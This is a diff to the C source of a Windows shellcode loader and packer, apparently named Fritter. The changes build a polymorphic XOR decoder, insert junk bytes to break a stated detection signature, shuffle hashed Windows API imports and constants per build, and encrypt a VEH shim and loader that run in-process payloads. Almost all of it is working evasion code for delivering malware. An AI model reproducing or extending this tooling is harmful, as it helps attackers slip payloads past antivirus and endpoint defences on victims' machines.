||||
if(rIDX.rex) rex = 0x41;
|
||||
else if(rIDX.reg3 >= 4) rex = 0x40;
|
||||
if(rex) db[ds++] = rex;
|
||||
db[ds++] = 0x80;
|
||||
db[ds++] = 0xE0 | rIDX.reg3; // AND r/m8, imm8
|
||||
db[ds++] = 0x07;
|
||||
}
|
||||
// NO junk between AND and DEC — but DEC+JNZ must be atomic (flags)
|
||||
// Actually AND sets flags too, but DEC is the one JNZ reads. Insert junk here is OK.
|
||||
EMIT_JUNK();
|
||||
|
||||
// dec counter_32 + jnz loop (atomic pair — JNZ reads flags from DEC)
|
||||
// dec counter_32 + jnz loop (atomic pair - JNZ reads flags from DEC)
|
||||
if(rCNT.rex) db[ds++] = 0x41;
|
||||
db[ds++] = 0xFF;
|
||||
db[ds++] = 0xC8 | rCNT.reg3; // DEC r32
|
||||
// jnz (placeholder — patched in pass 2)
|
||||
// jnz (placeholder - patched in pass 2)
|
||||
db[ds++] = 0x75;
|
||||
fixup_offset[FIXUP_JNZ] = ds;
|
||||
|
||||
@@ -1443,14 +1606,19 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
|
||||
// pop rcx (restore instance pointer)
|
||||
db[ds++] = 0x59;
|
||||
// jmp short +8 (skip over key data to reach decoded loader)
|
||||
db[ds++] = 0xEB;
|
||||
db[ds++] = 0x08;
|
||||
// Junk between POP and JMP-SHORT - breaks the `59 EB ??` 3-byte anchor
|
||||
// by inserting 0..N pool bytes in the middle. JMP imm still skips
|
||||
// exactly key_len bytes (junk lives BEFORE the EB).
|
||||
EMIT_JUNK();
|
||||
|
||||
// Append 8-byte XOR key at end of decoder (not executed)
|
||||
// jmp short +key_len (skip over key data to reach decoded loader)
|
||||
db[ds++] = 0xEB;
|
||||
db[ds++] = (uint8_t)key_len;
|
||||
|
||||
// Append key bytes at end of decoder (not executed)
|
||||
int key_offset = ds;
|
||||
memcpy(db + ds, xor_key, 8);
|
||||
ds += 8;
|
||||
memcpy(db + ds, xor_key, key_len);
|
||||
ds += key_len;
|
||||
|
||||
uint32_t decoder_stub_size = ds;
|
||||
|
||||
@@ -1458,22 +1626,37 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
// The combined blob (shim+loader) must start at a page-aligned address.
|
||||
// VirtualAlloc gives 64KB-aligned memory, so we just need the offset from
|
||||
// PIC start to be a multiple of 4096.
|
||||
// Between decoder and encoded data: [lea rdx 7B] [jmp rel32 5B] [page_pad]
|
||||
uint32_t prefix_overhead = (junk_prefix_len > 0) ? (2 + junk_prefix_len) : 0;
|
||||
uint32_t pre_blob_size = prefix_overhead + 5 + c->inst_len + 1 + junk_mid_len +
|
||||
rsp_align_size + decoder_stub_size + 7 + 5;
|
||||
// Between decoder and encoded data: [trampoline (variable size)] [page_pad]
|
||||
// Prefix is pure junk fall-through - no header bytes, just pfx_len of payload.
|
||||
uint32_t pre_blob_size = pfx_len + 5 + c->inst_len + 1 + junk_mid_len +
|
||||
rsp_align_size + decoder_stub_size + tramp_size;
|
||||
uint32_t page_pad = (4096 - (pre_blob_size & 0xFFF)) & 0xFFF;
|
||||
DPRINT("Page alignment: pre_blob=%d, page_pad=%d, total_offset=%d",
|
||||
pre_blob_size, page_pad, pre_blob_size + page_pad);
|
||||
|
||||
// Patch trampoline displacements now that page_pad is known.
|
||||
// Shim entry sits at: trampoline_start + tramp_size + page_pad
|
||||
// LEA RIP-rel target = (trampoline_start + 7) + lea_disp = shim_entry
|
||||
// → lea_disp = (tramp_size - 7) + page_pad
|
||||
// JMP rel32 target = (trampoline_start + tramp_size) + jmp_disp = shim_entry
|
||||
// → jmp_disp = page_pad
|
||||
{
|
||||
int32_t lea_disp = (int32_t)(tramp_size - 7) + (int32_t)page_pad;
|
||||
memcpy(tramp_buf + tramp_lea_disp_off, &lea_disp, 4);
|
||||
if (!tramp_jmp_indirect) {
|
||||
int32_t jmp_disp = (int32_t)page_pad;
|
||||
memcpy(tramp_buf + tramp_jmp_disp_off, &jmp_disp, 4);
|
||||
}
|
||||
}
|
||||
|
||||
// --- Pass 2: patch displacements ---
|
||||
{
|
||||
// LEA key_ptr: target = key_offset, from = fixup_end[FIXUP_KEY]
|
||||
int32_t d = key_offset - fixup_end[FIXUP_KEY];
|
||||
memcpy(db + fixup_offset[FIXUP_KEY], &d, 4);
|
||||
|
||||
// LEA data_ptr: target past lea(7) + jmp(5) + page_pad = start of encoded data
|
||||
d = (int32_t)(decoder_stub_size + 7 + 5 + page_pad) - fixup_end[FIXUP_DATA];
|
||||
// LEA data_ptr: target past trampoline + page_pad = start of encoded data
|
||||
d = (int32_t)(decoder_stub_size + tramp_size + page_pad) - fixup_end[FIXUP_DATA];
|
||||
memcpy(db + fixup_offset[FIXUP_DATA], &d, 4);
|
||||
|
||||
// JNZ: target = loop_start, from = fixup_end[FIXUP_JNZ]
|
||||
@@ -1481,8 +1664,10 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
db[fixup_offset[FIXUP_JNZ]] = (uint8_t)jnz_disp;
|
||||
}
|
||||
|
||||
DPRINT("Polymorphic decoder: %d bytes (regs: kp=%d dp=%d cnt=%d idx=%d)",
|
||||
decoder_stub_size, rKP.reg3, rDP.reg3, rCNT.reg3, rIDX.reg3);
|
||||
DPRINT("Polymorphic decoder: %d bytes (regs: kp=%d dp=%d cnt=%d idx=%d) "
|
||||
"key_len=%u zero_op=%02x order=%d",
|
||||
decoder_stub_size, rKP.reg3, rDP.reg3, rCNT.reg3, rIDX.reg3,
|
||||
key_len, zero_opcode, loop_order);
|
||||
|
||||
// --- VEH shim integration ---
|
||||
// Page-pad the shim so the loader starts on a page boundary
|
||||
@@ -1498,7 +1683,7 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
return FRITTER_ERROR_NO_MEMORY;
|
||||
}
|
||||
|
||||
// Copy shim, pad with random bytes (not zeros — looks more natural)
|
||||
// Copy shim, pad with random bytes (not zeros - looks more natural)
|
||||
memcpy(combined, VEH_SHIM_EXE_X64, shim_raw_size);
|
||||
if(shim_padded_size > shim_raw_size) {
|
||||
gen_random(combined + shim_raw_size, shim_padded_size - shim_raw_size);
|
||||
@@ -1603,9 +1788,9 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
DPRINT("Patched decoder counter: %d (shim only, loader is per-page encrypted)",
|
||||
shim_padded_size);
|
||||
|
||||
// XOR-encode the shim portion
|
||||
// XOR-encode the shim portion (key_mask matches decoder's AND imm)
|
||||
for(uint32_t i = 0; i < shim_padded_size; i++) {
|
||||
encoded[i] = combined[i] ^ xor_key[i & 7];
|
||||
encoded[i] = combined[i] ^ xor_key[i & key_mask];
|
||||
}
|
||||
// Copy per-page encrypted loader as-is
|
||||
memcpy(encoded + shim_padded_size, combined + shim_padded_size, loader_size);
|
||||
@@ -1616,14 +1801,15 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
loader_size, combined_size, shim_padded_size, loader_size);
|
||||
|
||||
for(uint32_t i = 0; i < combined_size; i++) {
|
||||
encoded[i] = combined[i] ^ xor_key[i & 7];
|
||||
encoded[i] = combined[i] ^ xor_key[i & key_mask];
|
||||
}
|
||||
}
|
||||
free(combined);
|
||||
|
||||
// --- Calculate total PIC size ---
|
||||
// Layout: [junk_prefix] [CALL 5B] [instance] [POP 1B] [junk_mid] [rsp_align]
|
||||
// [decoder_stub] [lea rdx 7B] [jmp rel32 5B] [page_pad] [encoded(shim+loader)]
|
||||
// Layout: [pfx_buf fall-through] [CALL 5B] [instance] [POP 1B] [junk_mid]
|
||||
// [rsp_align] [decoder_stub] [lea rdx 7B] [jmp rel32 5B] [page_pad]
|
||||
// [encoded(shim+loader)]
|
||||
c->pic_len = pre_blob_size + page_pad + combined_size;
|
||||
|
||||
c->pic = malloc(c->pic_len);
|
||||
@@ -1636,13 +1822,9 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
|
||||
pl = (uint8_t*)c->pic;
|
||||
|
||||
// --- Feature 2A: Junk prefix ---
|
||||
if(junk_prefix_len > 0) {
|
||||
PUT_BYTE(pl, 0xEB); // jmp short
|
||||
PUT_BYTE(pl, junk_prefix_len); // skip N bytes
|
||||
uint8_t junk_buf[15];
|
||||
gen_random(junk_buf, junk_prefix_len);
|
||||
PUT_BYTES(pl, junk_buf, junk_prefix_len);
|
||||
// --- Feature 2A: Junk fall-through prefix ---
|
||||
if(pfx_len > 0) {
|
||||
PUT_BYTES(pl, pfx_buf, pfx_len);
|
||||
}
|
||||
|
||||
// call $ + c->inst_len (call over instance data)
|
||||
@@ -1660,21 +1842,9 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
// --- Feature 2B: RSP alignment ---
|
||||
PUT_BYTES(pl, rsp_align, rsp_align_size);
|
||||
|
||||
// --- Decoder stub + trampoline + page padding + encoded(shim + loader) ---
|
||||
// --- Decoder stub + generative trampoline + page padding + encoded(shim + loader) ---
|
||||
PUT_BYTES(pl, db, decoder_stub_size);
|
||||
|
||||
// lea rdx, [rip + (5 + page_pad)] — RDX = start of decoded VehShimEntry
|
||||
// (skip past the jmp instruction and page padding)
|
||||
{
|
||||
uint8_t lea_rdx[7] = { 0x48, 0x8D, 0x15 };
|
||||
int32_t lea_disp = 5 + (int32_t)page_pad;
|
||||
memcpy(lea_rdx + 3, &lea_disp, 4);
|
||||
PUT_BYTES(pl, lea_rdx, 7);
|
||||
}
|
||||
|
||||
// jmp rel32 — skip page_pad bytes to reach decoded shim
|
||||
PUT_BYTE(pl, 0xE9);
|
||||
PUT_WORD(pl, page_pad);
|
||||
PUT_BYTES(pl, tramp_buf, tramp_size);
|
||||
|
||||
// Page alignment padding (random bytes, never executed)
|
||||
if(page_pad > 0) {
|
||||
@@ -2369,6 +2539,9 @@ static int validate_format(opt_arg *arg, void *args) {
|
||||
} else
|
||||
if(!strcasecmp("hex", str)) {
|
||||
arg->u32 = FRITTER_FORMAT_HEX;
|
||||
} else
|
||||
if(!strcasecmp("uuid", str)) {
|
||||
arg->u32 = FRITTER_FORMAT_UUID;
|
||||
}
|
||||
}
|
||||
// validate
|
||||
@@ -2381,6 +2554,7 @@ static int validate_format(opt_arg *arg, void *args) {
|
||||
case FRITTER_FORMAT_POWERSHELL:
|
||||
case FRITTER_FORMAT_CSHARP:
|
||||
case FRITTER_FORMAT_HEX:
|
||||
case FRITTER_FORMAT_UUID:
|
||||
break;
|
||||
default: {
|
||||
printf("WARNING: Invalid format specified: %"PRId32" -- setting to binary.\n", arg->u32);
|
||||
@@ -2596,9 +2770,10 @@ int main(int argc, char *argv[]) {
|
||||
err = FritterCreate(&c);
|
||||
|
||||
if(err != FRITTER_ERROR_OK) {
|
||||
if(g_color) printf(C_RED C_BOLD " ERROR" C_RST " %s\n", FritterError(err));
|
||||
else printf(" ERROR: %s\n", FritterError(err));
|
||||
return 0;
|
||||
if(g_color) fprintf(stderr, C_RED C_BOLD " ERROR" C_RST " %s\n", FritterError(err));
|
||||
else fprintf(stderr, " ERROR: %s\n", FritterError(err));
|
||||
FritterDelete(&c);
|
||||
return 1;
|
||||
}
|
||||
|
||||
switch(c.mod_type) {
|
||||
@@ -2627,9 +2802,6 @@ int main(int argc, char *argv[]) {
|
||||
|
||||
// -- result display --
|
||||
{
|
||||
const char *entropy_str =
|
||||
c.entropy == FRITTER_ENTROPY_NONE ? "None" :
|
||||
c.entropy == FRITTER_ENTROPY_RANDOM ? "Random names" : "Random names + Encryption";
|
||||
const char *headers_str =
|
||||
c.headers == FRITTER_HEADERS_OVERWRITE ? "Overwrite" :
|
||||
c.headers == FRITTER_HEADERS_KEEP ? "Keep all" : "Undefined";
|
||||
@@ -2668,12 +2840,12 @@ int main(int argc, char *argv[]) {
|
||||
printf("\n");
|
||||
|
||||
printf(C_YEL " PROTECTIONS" C_RST "\n");
|
||||
printf(" Encryption " C_WHT "ChaCha20" C_RST "\n");
|
||||
printf(" Encryption " C_WHT "Custom ARX (Chaskey-derived, CTR mode)" C_RST "\n");
|
||||
printf(" API Hashing " C_WHT "Maru" C_RST "\n");
|
||||
printf(" PE Headers " C_WHT "%s" C_RST "\n", headers_str);
|
||||
printf(" Exec Guard " C_WHT "%s" C_RST "\n", c.chunked ? "VEH sliding window + per-page encrypt" : "RW->RX");
|
||||
printf(" Decoder " C_WHT "Polymorphic XOR" C_RST "\n");
|
||||
printf(" PEB Access " C_WHT "Direct gs:[0x60]" C_RST "\n");
|
||||
printf(" PEB Access " C_WHT "TEB-indirect (gs:0x30+0x60)" C_RST "\n");
|
||||
if(c.decoy[0]) printf(" Decoy " C_WHT "%s" C_RST "\n", c.decoy);
|
||||
printf(" PEB Walk " C_WHT "Randomized" C_RST "\n");
|
||||
printf(" Entry Stub " C_WHT "Randomized" C_RST "\n");
|
||||
@@ -2708,12 +2880,12 @@ int main(int argc, char *argv[]) {
|
||||
printf("\n");
|
||||
|
||||
printf(" PROTECTIONS\n");
|
||||
printf(" Encryption ChaCha20\n");
|
||||
printf(" Encryption Custom ARX (Chaskey-derived, CTR mode)\n");
|
||||
printf(" API Hashing Maru\n");
|
||||
printf(" PE Headers %s\n", headers_str);
|
||||
printf(" Exec Guard %s\n", c.chunked ? "VEH sliding window + per-page encrypt" : "RW->RX");
|
||||
printf(" Decoder Polymorphic XOR\n");
|
||||
printf(" PEB Access Direct gs:[0x60]\n");
|
||||
printf(" PEB Access TEB-indirect (gs:0x30+0x60)\n");
|
||||
if(c.decoy[0]) printf(" Decoy %s\n", c.decoy);
|
||||
printf(" PEB Walk Randomized\n");
|
||||
printf(" Entry Stub Randomized\n");
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
/*
|
||||
* Canonical master list of APIs Fritter resolves at runtime.
|
||||
*
|
||||
* Format: XAPI(dll, name, type, field)
|
||||
* dll = DLL constant (KERNEL32_DLL etc.)
|
||||
* name = export name string used for hash (must match Windows export)
|
||||
* type = function-pointer typedef from loader/winapi.h
|
||||
* field = field name in FRITTER_INSTANCE.api typed struct
|
||||
*
|
||||
* Slot 0 (LoadLibraryA) MUST stay first — loader.c resolves it
|
||||
* explicitly before the DLL-loading loop. Everything else can be
|
||||
* shuffled per build by tools/gen_api_shuffle, which preserves the
|
||||
* pin and randomizes order 1..N.
|
||||
*
|
||||
* Adding an API: append a new XAPI line. Both fritter.h's typed
|
||||
* struct and fritter.c's api_imports[] are generated from this
|
||||
* file via the X-macro pattern, so they cannot disagree.
|
||||
*/
|
||||
|
||||
XAPI(KERNEL32_DLL, "LoadLibraryA", LoadLibraryA_t, LoadLibraryA)
|
||||
XAPI(KERNEL32_DLL, "GetProcAddress", GetProcAddress_t, GetProcAddress)
|
||||
XAPI(KERNEL32_DLL, "GetModuleHandleA", GetModuleHandleA_t, GetModuleHandleA)
|
||||
XAPI(KERNEL32_DLL, "VirtualAlloc", VirtualAlloc_t, VirtualAlloc)
|
||||
XAPI(KERNEL32_DLL, "VirtualFree", VirtualFree_t, VirtualFree)
|
||||
XAPI(KERNEL32_DLL, "VirtualQuery", VirtualQuery_t, VirtualQuery)
|
||||
XAPI(KERNEL32_DLL, "VirtualProtect", VirtualProtect_t, VirtualProtect)
|
||||
XAPI(KERNEL32_DLL, "Sleep", Sleep_t, Sleep)
|
||||
XAPI(KERNEL32_DLL, "MultiByteToWideChar", MultiByteToWideChar_t, MultiByteToWideChar)
|
||||
XAPI(KERNEL32_DLL, "GetUserDefaultLCID", GetUserDefaultLCID_t, GetUserDefaultLCID)
|
||||
XAPI(KERNEL32_DLL, "WaitForSingleObject", WaitForSingleObject_t, WaitForSingleObject)
|
||||
XAPI(KERNEL32_DLL, "CreateThread", CreateThread_t, CreateThread)
|
||||
XAPI(KERNEL32_DLL, "CreateFileA", CreateFileA_t, CreateFileA)
|
||||
XAPI(KERNEL32_DLL, "GetFileSizeEx", GetFileSizeEx_t, GetFileSizeEx)
|
||||
XAPI(KERNEL32_DLL, "GetThreadContext", GetThreadContext_t, GetThreadContext)
|
||||
XAPI(KERNEL32_DLL, "GetCurrentThread", GetCurrentThread_t, GetCurrentThread)
|
||||
XAPI(KERNEL32_DLL, "GetCurrentProcess", GetCurrentProcess_t, GetCurrentProcess)
|
||||
XAPI(KERNEL32_DLL, "GetCommandLineA", GetCommandLineA_t, GetCommandLineA)
|
||||
XAPI(KERNEL32_DLL, "GetCommandLineW", GetCommandLineW_t, GetCommandLineW)
|
||||
XAPI(KERNEL32_DLL, "HeapAlloc", HeapAlloc_t, HeapAlloc)
|
||||
XAPI(KERNEL32_DLL, "HeapReAlloc", HeapReAlloc_t, HeapReAlloc)
|
||||
XAPI(KERNEL32_DLL, "GetProcessHeap", GetProcessHeap_t, GetProcessHeap)
|
||||
XAPI(KERNEL32_DLL, "HeapFree", HeapFree_t, HeapFree)
|
||||
XAPI(KERNEL32_DLL, "GetLastError", GetLastError_t, GetLastError)
|
||||
XAPI(KERNEL32_DLL, "CloseHandle", CloseHandle_t, CloseHandle)
|
||||
|
||||
XAPI(SHELL32_DLL, "CommandLineToArgvW", CommandLineToArgvW_t, CommandLineToArgvW)
|
||||
|
||||
XAPI(OLEAUT32_DLL, "SafeArrayCreate", SafeArrayCreate_t, SafeArrayCreate)
|
||||
XAPI(OLEAUT32_DLL, "SafeArrayCreateVector", SafeArrayCreateVector_t, SafeArrayCreateVector)
|
||||
XAPI(OLEAUT32_DLL, "SafeArrayPutElement", SafeArrayPutElement_t, SafeArrayPutElement)
|
||||
XAPI(OLEAUT32_DLL, "SafeArrayDestroy", SafeArrayDestroy_t, SafeArrayDestroy)
|
||||
XAPI(OLEAUT32_DLL, "SafeArrayGetLBound", SafeArrayGetLBound_t, SafeArrayGetLBound)
|
||||
XAPI(OLEAUT32_DLL, "SafeArrayGetUBound", SafeArrayGetUBound_t, SafeArrayGetUBound)
|
||||
XAPI(OLEAUT32_DLL, "SysAllocString", SysAllocString_t, SysAllocString)
|
||||
XAPI(OLEAUT32_DLL, "SysFreeString", SysFreeString_t, SysFreeString)
|
||||
XAPI(OLEAUT32_DLL, "LoadTypeLib", LoadTypeLib_t, LoadTypeLib)
|
||||
|
||||
XAPI(WININET_DLL, "InternetCrackUrlA", InternetCrackUrl_t, InternetCrackUrl)
|
||||
XAPI(WININET_DLL, "InternetOpenA", InternetOpen_t, InternetOpen)
|
||||
XAPI(WININET_DLL, "InternetConnectA", InternetConnect_t, InternetConnect)
|
||||
XAPI(WININET_DLL, "InternetSetOptionA", InternetSetOption_t, InternetSetOption)
|
||||
XAPI(WININET_DLL, "InternetReadFile", InternetReadFile_t, InternetReadFile)
|
||||
XAPI(WININET_DLL, "InternetCloseHandle", InternetCloseHandle_t, InternetCloseHandle)
|
||||
XAPI(WININET_DLL, "InternetQueryDataAvailable", InternetQueryDataAvailable_t, InternetQueryDataAvailable)
|
||||
XAPI(WININET_DLL, "HttpOpenRequestA", HttpOpenRequest_t, HttpOpenRequest)
|
||||
XAPI(WININET_DLL, "HttpSendRequestA", HttpSendRequest_t, HttpSendRequest)
|
||||
XAPI(WININET_DLL, "HttpQueryInfoA", HttpQueryInfo_t, HttpQueryInfo)
|
||||
|
||||
XAPI(MSCOREE_DLL, "CorBindToRuntime", CorBindToRuntime_t, CorBindToRuntime)
|
||||
XAPI(MSCOREE_DLL, "CLRCreateInstance", CLRCreateInstance_t, CLRCreateInstance)
|
||||
|
||||
XAPI(OLE32_DLL, "CoInitializeEx", CoInitializeEx_t, CoInitializeEx)
|
||||
XAPI(OLE32_DLL, "CoCreateInstance", CoCreateInstance_t, CoCreateInstance)
|
||||
XAPI(OLE32_DLL, "CoUninitialize", CoUninitialize_t, CoUninitialize)
|
||||
|
||||
XAPI(NTDLL_DLL, "RtlEqualUnicodeString", RtlEqualUnicodeString_t, RtlEqualUnicodeString)
|
||||
XAPI(NTDLL_DLL, "RtlEqualString", RtlEqualString_t, RtlEqualString)
|
||||
XAPI(NTDLL_DLL, "RtlUnicodeStringToAnsiString",RtlUnicodeStringToAnsiString_t,RtlUnicodeStringToAnsiString)
|
||||
XAPI(NTDLL_DLL, "RtlInitUnicodeString", RtlInitUnicodeString_t, RtlInitUnicodeString)
|
||||
XAPI(NTDLL_DLL, "RtlExitUserThread", RtlExitUserThread_t, RtlExitUserThread)
|
||||
XAPI(NTDLL_DLL, "RtlExitUserProcess", RtlExitUserProcess_t, RtlExitUserProcess)
|
||||
XAPI(NTDLL_DLL, "RtlCreateUnicodeString", RtlCreateUnicodeString_t, RtlCreateUnicodeString)
|
||||
XAPI(NTDLL_DLL, "NtContinue", NtContinue_t, NtContinue)
|
||||
XAPI(NTDLL_DLL, "NtCreateSection", NtCreateSection_t, NtCreateSection)
|
||||
XAPI(NTDLL_DLL, "NtMapViewOfSection", NtMapViewOfSection_t, NtMapViewOfSection)
|
||||
XAPI(NTDLL_DLL, "NtUnmapViewOfSection", NtUnmapViewOfSection_t, NtUnmapViewOfSection)
|
||||
@@ -36,6 +36,14 @@
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* Per-build randomized cipher constants. Generated by tools/gen_poly
|
||||
* before compilation. If absent, the defaults below apply. */
|
||||
#if defined(__has_include)
|
||||
# if __has_include("poly_seed.h")
|
||||
# include "poly_seed.h"
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef ROTR32
|
||||
#define ROTR32(v,n)(((v)>>(n))|((v)<<(32-(n))))
|
||||
#endif
|
||||
|
||||
+7
-78
@@ -246,85 +246,14 @@ typedef struct _FRITTER_INSTANCE {
|
||||
void *addr[64]; // holds up to 64 api addresses
|
||||
// include prototypes only if header included from loader.h
|
||||
#ifdef LOADER_H
|
||||
// Typed function-pointer view of api[]. Field order is generated
|
||||
// per build by tools/gen_api_shuffle into include/api_shuffle.h
|
||||
// from the canonical list in include/api_master.h. Slot 0 is
|
||||
// pinned as LoadLibraryA (loader.c resolves it explicitly).
|
||||
struct {
|
||||
// imports from kernel32.dll or kernelbase.dll
|
||||
LoadLibraryA_t LoadLibraryA;
|
||||
GetProcAddress_t GetProcAddress;
|
||||
GetModuleHandleA_t GetModuleHandleA;
|
||||
VirtualAlloc_t VirtualAlloc;
|
||||
VirtualFree_t VirtualFree;
|
||||
VirtualQuery_t VirtualQuery;
|
||||
VirtualProtect_t VirtualProtect;
|
||||
Sleep_t Sleep;
|
||||
MultiByteToWideChar_t MultiByteToWideChar;
|
||||
GetUserDefaultLCID_t GetUserDefaultLCID;
|
||||
WaitForSingleObject_t WaitForSingleObject;
|
||||
CreateThread_t CreateThread;
|
||||
CreateFileA_t CreateFileA;
|
||||
GetFileSizeEx_t GetFileSizeEx;
|
||||
GetThreadContext_t GetThreadContext;
|
||||
GetCurrentThread_t GetCurrentThread;
|
||||
GetCurrentProcess_t GetCurrentProcess;
|
||||
GetCommandLineA_t GetCommandLineA;
|
||||
GetCommandLineW_t GetCommandLineW;
|
||||
HeapAlloc_t HeapAlloc;
|
||||
HeapReAlloc_t HeapReAlloc;
|
||||
GetProcessHeap_t GetProcessHeap;
|
||||
HeapFree_t HeapFree;
|
||||
GetLastError_t GetLastError;
|
||||
CloseHandle_t CloseHandle;
|
||||
|
||||
// imports from shell32.dll
|
||||
CommandLineToArgvW_t CommandLineToArgvW;
|
||||
|
||||
// imports from oleaut32.dll
|
||||
SafeArrayCreate_t SafeArrayCreate;
|
||||
SafeArrayCreateVector_t SafeArrayCreateVector;
|
||||
SafeArrayPutElement_t SafeArrayPutElement;
|
||||
SafeArrayDestroy_t SafeArrayDestroy;
|
||||
SafeArrayGetLBound_t SafeArrayGetLBound;
|
||||
SafeArrayGetUBound_t SafeArrayGetUBound;
|
||||
SysAllocString_t SysAllocString;
|
||||
SysFreeString_t SysFreeString;
|
||||
LoadTypeLib_t LoadTypeLib;
|
||||
|
||||
// imports from wininet.dll
|
||||
InternetCrackUrl_t InternetCrackUrl;
|
||||
InternetOpen_t InternetOpen;
|
||||
InternetConnect_t InternetConnect;
|
||||
InternetSetOption_t InternetSetOption;
|
||||
InternetReadFile_t InternetReadFile;
|
||||
InternetCloseHandle_t InternetCloseHandle;
|
||||
InternetQueryDataAvailable_t InternetQueryDataAvailable;
|
||||
HttpOpenRequest_t HttpOpenRequest;
|
||||
HttpSendRequest_t HttpSendRequest;
|
||||
HttpQueryInfo_t HttpQueryInfo;
|
||||
|
||||
// imports from mscoree.dll
|
||||
CorBindToRuntime_t CorBindToRuntime;
|
||||
CLRCreateInstance_t CLRCreateInstance;
|
||||
|
||||
// imports from ole32.dll
|
||||
CoInitializeEx_t CoInitializeEx;
|
||||
CoCreateInstance_t CoCreateInstance;
|
||||
CoUninitialize_t CoUninitialize;
|
||||
|
||||
// imports from ntdll.dll
|
||||
RtlEqualUnicodeString_t RtlEqualUnicodeString;
|
||||
RtlEqualString_t RtlEqualString;
|
||||
RtlUnicodeStringToAnsiString_t RtlUnicodeStringToAnsiString;
|
||||
RtlInitUnicodeString_t RtlInitUnicodeString;
|
||||
RtlExitUserThread_t RtlExitUserThread;
|
||||
RtlExitUserProcess_t RtlExitUserProcess;
|
||||
RtlCreateUnicodeString_t RtlCreateUnicodeString;
|
||||
NtContinue_t NtContinue;
|
||||
NtCreateSection_t NtCreateSection;
|
||||
NtMapViewOfSection_t NtMapViewOfSection;
|
||||
NtUnmapViewOfSection_t NtUnmapViewOfSection;
|
||||
// AddVectoredExceptionHandler_t AddVectoredExceptionHandler;
|
||||
// RemoveVectoredExceptionHandler_t RemoveVectoredExceptionHandler;
|
||||
// RtlFreeUnicodeString_t RtlFreeUnicodeString;
|
||||
// RtlFreeString_t RtlFreeString;
|
||||
#define XAPI(dll, name, type, field) type field;
|
||||
#include "api_shuffle.h"
|
||||
#undef XAPI
|
||||
};
|
||||
#endif
|
||||
} api;
|
||||
|
||||
@@ -35,6 +35,14 @@
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
/* Per-build randomized hash constants. Generated by tools/gen_poly
|
||||
* before compilation. If absent, the defaults below apply. */
|
||||
#if defined(__has_include)
|
||||
# if __has_include("poly_seed.h")
|
||||
# include "poly_seed.h"
|
||||
# endif
|
||||
#endif
|
||||
|
||||
void *Memset (void *ptr, int value, unsigned int num);
|
||||
|
||||
#define MARU_MAX_STR 64
|
||||
|
||||
Binary file not shown.
+4
-1
@@ -62,10 +62,13 @@ void *Memcpy (void *destination, const void *source, uint32_t num) {
|
||||
return destination;
|
||||
}
|
||||
|
||||
// GCC may emit implicit memcpy calls for struct copies even with -nostdlib
|
||||
// GCC may emit implicit memcpy calls for struct copies even with -nostdlib.
|
||||
// MSVC treats memcpy as a compiler intrinsic (C2169 if redefined).
|
||||
#ifndef _MSC_VER
|
||||
void *memcpy (void *destination, const void *source, size_t num) {
|
||||
return Memcpy(destination, source, (uint32_t)num);
|
||||
}
|
||||
#endif
|
||||
|
||||
int Memcmp(const void *ptr1, const void *ptr2, uint32_t num) {
|
||||
register const unsigned char *s1 = (const unsigned char*)ptr1;
|
||||
|
||||
+54
-7
@@ -31,6 +31,16 @@
|
||||
|
||||
#include "loader.h"
|
||||
|
||||
/* Fallback defaults if poly_seed.h was not generated (clean build before
|
||||
gen_poly ran). Live values come via the hash.h / encrypt.h
|
||||
__has_include chain that pulls in poly_seed.h. */
|
||||
#ifndef LOADER_WIPE_BYTE
|
||||
#define LOADER_WIPE_BYTE 0x00u
|
||||
#endif
|
||||
#ifndef LOADER_POLY_SALT
|
||||
#define LOADER_POLY_SALT 0u
|
||||
#endif
|
||||
|
||||
DWORD MainProc(PFRITTER_INSTANCE inst);
|
||||
|
||||
HANDLE FritterLoader(PFRITTER_INSTANCE inst) {
|
||||
@@ -38,6 +48,7 @@ HANDLE FritterLoader(PFRITTER_INSTANCE inst) {
|
||||
GetThreadContext_t _GetThreadContext;
|
||||
GetCurrentThread_t _GetCurrentThread;
|
||||
NtContinue_t _NtContinue;
|
||||
GetModuleHandleA_t _GetModuleHandleA;
|
||||
ULONG64 hash;
|
||||
HANDLE h = NULL;
|
||||
CONTEXT c;
|
||||
@@ -75,11 +86,25 @@ HANDLE FritterLoader(PFRITTER_INSTANCE inst) {
|
||||
_GetCurrentThread = (GetCurrentThread_t)xGetProcAddressByHash(inst, hash, inst->iv);
|
||||
|
||||
// get the base address of the host process's executable
|
||||
host = inst->api.GetModuleHandle(NULL);
|
||||
DPRINT("Resolving address of GetModuleHandleA");
|
||||
hash = inst->api.hash[ (offsetof(FRITTER_INSTANCE, api.GetModuleHandleA) - offsetof(FRITTER_INSTANCE, api)) / sizeof(ULONG_PTR)];
|
||||
_GetModuleHandleA = (GetModuleHandleA_t)xGetProcAddressByHash(inst, hash, inst->iv);
|
||||
if(_GetModuleHandleA == NULL) {
|
||||
DPRINT("FAILED to resolve GetModuleHandleA");
|
||||
return (HANDLE)-1;
|
||||
}
|
||||
host = _GetModuleHandleA(NULL);
|
||||
|
||||
if(_NtContinue != NULL && _GetThreadContext != NULL && _GetCurrentThread != NULL) {
|
||||
c.ContextFlags = CONTEXT_FULL;
|
||||
_GetThreadContext(_GetCurrentThread(), &c);
|
||||
/* P3 Site B was attempted here (volatile salt-cancel into a
|
||||
mirror of inst->oep, gated on LOADER_POLY_SALT bit 4) but
|
||||
empirically failed: under some FritterLoader register-allocation
|
||||
conditions, mingw-w64 GCC -O1 placed the volatile auto in a
|
||||
register and folded the XOR pair into a single un-cancelled
|
||||
XOR, corrupting c.Rip and hanging the NtContinue thread.
|
||||
Removed; sites A and C cover the default execution path. */
|
||||
#ifdef _WIN64
|
||||
c.Rip = RVA2VA(DWORD64, host, inst->oep);
|
||||
c.Rsp &= -16;
|
||||
@@ -199,9 +224,18 @@ DWORD MainProc(PFRITTER_INSTANCE inst) {
|
||||
xGetLibAddress(inst, path);
|
||||
}
|
||||
|
||||
DPRINT("Resolving %i API", inst->api_cnt);
|
